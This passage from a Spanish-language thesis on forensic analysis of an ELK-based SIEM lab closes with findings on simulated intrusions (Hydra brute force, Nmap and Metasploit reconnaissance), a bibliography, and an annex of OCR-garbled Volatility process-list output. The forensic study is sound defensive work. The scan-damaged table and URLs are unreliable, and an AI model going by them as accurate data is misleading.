confirma que el entorno contenia simulaciones controladas de intrusiones.

Actividades registradas por Filebeat y Logstash, compatibles con un entorno SIEM

en funcionamiento.

Presencia de patrones textuales que sugieren intentos de autenticacion —incluyendo
fallos y aciertos—, que coinciden con ataques automatizados como los realizados mediante
Hydra, asi como posibles escaneos o reconocimiento inicial tipicos de herramientas como

Nmap y Msfconsole.

Aunque no se detectaron archivos explicitos con comandos o payloads propios de
exploits, los fragmentos encontrados demuestran de forma clara que la imagen contiene
registros de intentos de intrusion, accesos fallidos, accesos exitosos y actividad

sospechosa, producto de las pruebas de ataque realizadas en el laboratorio.



Analisis Forense Digital de un SIEM no WAZUH 214

Referencias Bibliograficas

BitLyft. (2023, May 4). Is Elastic Stack (ELK) the best SIEM tool?

https://www.bitlyft.com/resources/is-elastic-stack-elk-the-best-siem-tool

ChaosSearch. (2021, June 30). ELK Stack SIEM: Everything you need to know.

https://www.chaossearch.io/blog/elk-stack-siem

Hiberus. (2022, September 14). Qué es un stack de ELK y qué ventajas tiene

implementarlo. https://www.hiberus.com/crecemos-contigo/que-es-un-stack-de-elk-y-que-

ventajas-tiene-implementarlo/

Organizacioén de los Estados Americanos. (s. f.). Anélisis forense digital: Manual

practico. https://www.oas.org/juridico/spanish/cyb _analisis_foren.pdf

Universidad Piloto de Colombia. (2015). Propuesta de implementacién de una
solucion SIEM basada en ELK Stack [Tesis de pregrado].

http://polux.unipiloto.edu.co0:8080/00004741.pdf

Greenwebpage. (2024). How to enable SSH on Ubuntu 24.04.

https://greenwebpage.com/community/how-to-enable-ssh-on-ubuntu-24-04/

Elastic. (2024). Elastic Stack documentation. https://www.elastic.co/guide/index.html

Elastic. (2024). Security features in Elasticsearch.

https://www.elastic.co/quide/en/elasticsearch/reference/current/security-settings.html



https://www.bitlyft.com/resources/is-elastic-stack-elk-the-best-siem-tool
https://www.chaossearch.io/blog/elk-stack-siem
https://www.hiberus.com/crecemos-contigo/que-es-un-stack-de-elk-y-que-ventajas-tiene-implementarlo/
https://www.hiberus.com/crecemos-contigo/que-es-un-stack-de-elk-y-que-ventajas-tiene-implementarlo/
https://www.oas.org/juridico/spanish/cyb_analisis_foren.pdf
http://polux.unipiloto.edu.co:8080/00004741.pdf
https://greenwebpage.com/community/how-to-enable-ssh-on-ubuntu-24-04/
https://www.elastic.co/guide/index.html
https://www.elastic.co/guide/en/elasticsearch/reference/current/security-settings.html

Analisis Forense Digital de un SIEM no WAZUH 215

Elastic. (2024). Audit logging.

https://www.elastic.co/quide/en/elasticsearch/reference/current/auditing-settings.html

Elastic. (2024). Kibana security.

https://www.elastic.co/quide/en/kibana/current/xpack-security.html

Behl, A., & Behl, K. (2017). Cyberwar: The next threat to national security and what

to do about it. Oxford University Press.

Scarfone, K., & Mell, P. (2007). Guide to intfrusion detection and prevention systems

(SP 800-94). NIST. hitps://csrc.nist.gov

Chuvakin, A., Schmidt, K., & Phillips, C. (2013). Logging and log management.

Syngress.

Splunk Inc. (2022). SIEM fundamentals. hitps://www.splunk.com

IBM. (2021). Security information and event management (SIEM).

https://www.ibm.com/security/siem

Carrier, B. (2005). File system forensic analysis. Addison-Wesley Professional.

Carrier, B., & Basis Technology. (2023). Autopsy: The digital forensics platform.

https://www.autopsy.com

National Institute of Standards and Technology. (2006). Computer security incident

handling guide (SP 800-61 Rev. 2). htips://doi.org/10.6028/NIST.SP.800-61r2



https://www.elastic.co/guide/en/elasticsearch/reference/current/auditing-settings.html
https://www.elastic.co/guide/en/kibana/current/xpack-security.html
https://csrc.nist.gov/
https://www.splunk.com/
https://www.autopsy.com/
https://doi.org/10.6028/NIST.SP.800-61r2

Analisis Forense Digital de un SIEM no WAZUH 216

National Institute of Standards and Technology. (2014). Guide to integrating forensic

techniques into incident response (SP 800-86). htips://doi.org/10.6028/NIST.SP.800-86

National Institute of Standards and Technology. (2012). Guide to computer security

log management (SP 800-92). https://csrc.nist.gov

National Institute of Standards and Technology. (2018). Digital forensic science

framework (NISTIR 8354). https://www.nist.gov

Prosise, C., & Mandia, K. (2003). Incident response and computer forensics.

McGraw-Hill.

SANS Institute. (2020). Digital forensics and incident response poster.

https://www.sans.org

Lyon, G. F. (2023). Nmap network scanning. Insecure.Com LLC.

https://nmap.org/book/

Offensive Security. (2024). Kali Linux documentation. https://www.kali.org/docs/

Van Hauser, T. (2024). THC Hydra. https://github.com/vanhauser-thc/thc-hydra

Rapid7. (2024). Metasploit Framework documentation. https://docs.metasploit.com/

Stenberg, D. (2024). curl documentation. https://curl.se/docs/

Sylve, J., Case, A., Marziale, L., & Richard, G. G. (2012). Acquisition and analysis of

volatile memory from Android devices. Digital Investigation, 8(3—4), 175-184.


https://doi.org/10.6028/NIST.SP.800-86
https://csrc.nist.gov/
https://www.nist.gov/
https://www.sans.org/
https://nmap.org/book/
https://www.kali.org/docs/
https://github.com/vanhauser-thc/thc-hydra
https://docs.metasploit.com/
https://curl.se/docs/

Analisis Forense Digital de un SIEM no WAZUH 217

504ensics Labs. (2024). LIME — Linux Memory Extractor.

https://qgithub.com/504ensicsLabs/LiME

Farmer, D., & Venema, W. (2005). Forensic discovery. Addison-Wesley.

SourceForge. (2024). dcfldd. https://dcfldd.sourceforge.net/

Kali Linux Tools. (2024). Nikto. https://www.kali.org/tools/nikto/

Kali Linux Tools. (2024). Dirb. https://www.kali.org/tools/dirb/

Lyon, G. F. (2023). Nmap network scanning. Insecure.Com LLC.

https://nmap.org/book/

Nmap Project. (2024). Nmap reference guide. htips://nmap.org/docs.html

Rapid7. (2024). Metasploit Framework documentation. htips://docs.metasploit.com/

Sullo, C. (2024). Nikto web scanner. https://cirt.net/Nikto2

Kali Linux Tools. (2024). Gobuster. https://www.kali.org/tools/gobuster/

OWASP Foundation. (2021). OWASP Top 10 Web Application Security Risks.

https://owasp.org



https://github.com/504ensicsLabs/LiME
https://dcfldd.sourceforge.net/
https://www.kali.org/tools/nikto/
https://www.kali.org/tools/dirb/
https://nmap.org/book/
https://nmap.org/docs.html
https://docs.metasploit.com/
https://www.kali.org/tools/gobuster/
https://owasp.org/

Analisis Forense Digital de un SIEM no WAZUH 218

ANEXOS

Tabla 10

Indicadores de compromiso severo

YTHON3 VOL.PY -F /[HOME/KALI/DOCUMENTOS/MEMDUMP.LIME LINUX.PSLIST

VOLATILITY 3 FRAMEWORK 2.27.0

PROGRESS: Stacking attempts finished

100.00

OFFSET (V) PI TI PP COMM U Gl EU EGI CREATIO File
D D ID D D ID D N TIME outpu

t
0X8ADFC08 |1 1 0 systemd 0 0 0 0 2025-12- Disab
AA8CO 01 led
20:26:30.7

55237

uTtC

0X8ADFC08 |2 2 0 kthreadd 0 0 0 0 2025-12- Disab
AD180 01 led
20:26:30.7

55237

uTcC

0X8ADFC08 |3 3 2 pool_workg O 0 0 0 2025-12- Disab
A8000 ueue_ 01 led
20:26:30.7

55237

uTtC
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0X8ADFCO08

BASCO

0X8ADFCO08

BD180

0X8ADFCO08

B8000

0X8ADFCO08

C28C0

0X8ADFCO08

CA8CO

0X8ADFCO09

D0000

12

13

12

13

kworker/R-

rcu_g

kworker/R-

rcu_p

kworker/R-

slub_

kworker/R-

netns

kworker/R-

mm_pe

rcu_tasks

kthre

2025-12-

01

20:26:30.7

55237

uTcC

2025-12-

01

20:26:30.7

55237

uTcC

2025-12-

01

20:26:30.7

55237

uTcC

2025-12-

01

20:26:30.7

55237

uTtC

2025-12-

01

20:26:30.7

56237

uTcC

2025-12-

01

219

Disab

led

Disab

led

Disab

led

Disab

led

Disab

led

Disab

led
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0X8ADFC09

D28CO0

0X8ADFCO09

D5180

0X8ADFC09

DA8SCO

0X8ADFCO09

DD180

0X8ADFC09

D8000

14

15

16

17

18

14

15

16

17

18

rcu tasks r 0

ude

rcu tasks t 0

race

ksoftirqd/0 0

rcu_preem O

pt

migration/0 0

0

20:26:30.7

56237

uTcC

2025-12-

01

20:26:30.7

56237

uTcC

2025-12-

01

20:26:30.7

57237

uTcC

2025-12-

01

20:26:30.7

59237

uTcC

2025-12-

01

20:26:30.7

59237

uTcC

2025-12-

01

20:26:30.7

220

Disab

led

Disab

led

Disab

led

Disab

led

Disab

led
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0X8ADFCO09

ED180

0X8ADFCOD

AA8CO

0X8ADFCOD

B5180

0X8ADFCOD

B0000

0X8ADFCOD

B28CO

19

19

20 20 2

21

22

23

21

22

23

2

2

idle_inject/0 0

cpuhp/0

cpuhp/1

idle_inject/1

migration/1

0

0

0

0

0

0

0

59237

uTcC

2025-12-

01

20:26:30.7

60237

uTcC

2025-12-

01

20:26:30.7

75237

uTcC

2025-12-

01

20:26:30.7

75237

uTtC

2025-12-

01

20:26:30.7

75237

uTcC

2025-12-

01

20:26:30.7

76237

uTcC

221

Disab

led

Disab

led

Disab

led

Disab

led

Disab

led
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0X8ADFCOD

BASCO

0X8ADFCOD

CA8CO

0X8ADFCOD

CD180

0X8ADFCOD

C8000

0X8ADFCOD

D5180

0X8ADFCOD

EA8CO

24 24 2

27 271 2

28 28 2

29 29 2

30 30 2

33 33 2

ksoftirgd/1 0
cpuhp/2 0
idle_inject/2 0

migration/2 0

ksoftirqd/2

kdevtmpfs

0

0

0

0

0

0

0

2025-12-

01

20:26:30.7

76237

uTcC

2025-12-

01

20:26:30.7

77237

uTcC

2025-12-

01

20:26:30.7

77237

uTcC

2025-12-

01

20:26:30.7

77237

uTtC

2025-12-

01

20:26:30.7

77237

uTcC

2025-12-

01

222

Disab

led

Disab

led

Disab

led

Disab

led

Disab

led

Disab

led
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0X8ADFCOE

85180

0X8ADFCOE

80000

0X8ADFC13

88000

0X8ADFC19

D28CO0

0X8ADFC19

D0000

34

35

39

41

43

34

35

39

41

43

kworker/R-

inet_

kauditd

khungtaskd

oom_reape

r

kworker/R-

write

0

0

0

0

20:26:30.7

80237

uTcC

2025-12-

01

20:26:30.7

84237

uTcC

2025-12-

01

20:26:30.8

05237

uTcC

2025-12-

01

20:26:30.8

09237

uTcC

2025-12-

01

20:26:30.8

09237

uTcC

2025-12-

01

20:26:30.8

223

Disab

led

Disab

led

Disab

led

Disab

led

Disab

led
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0X8ADFC19

DD180

0X8ADFC19

D8000

0X8ADFC19

DA8SCO

0X8ADFC19

EA8CO

0X8ADFC19

ED180

44 44 2

45 45 2

46 46 2

47 47 2

48 48 2

kcompactd

0

ksmd

khugepage

d

kworker/R-

kinte

kworker/R-

kbloc

09237

uTcC

2025-12-

01

20:26:30.8

13237

uTcC

2025-12-

01

20:26:30.8

13237

uTcC

2025-12-

01

20:26:30.8

14237

uTtC

2025-12-

01

20:26:30.8

14237

uTcC

2025-12-

01

20:26:30.8

15237

uTcC

224

Disab

led

Disab

led

Disab
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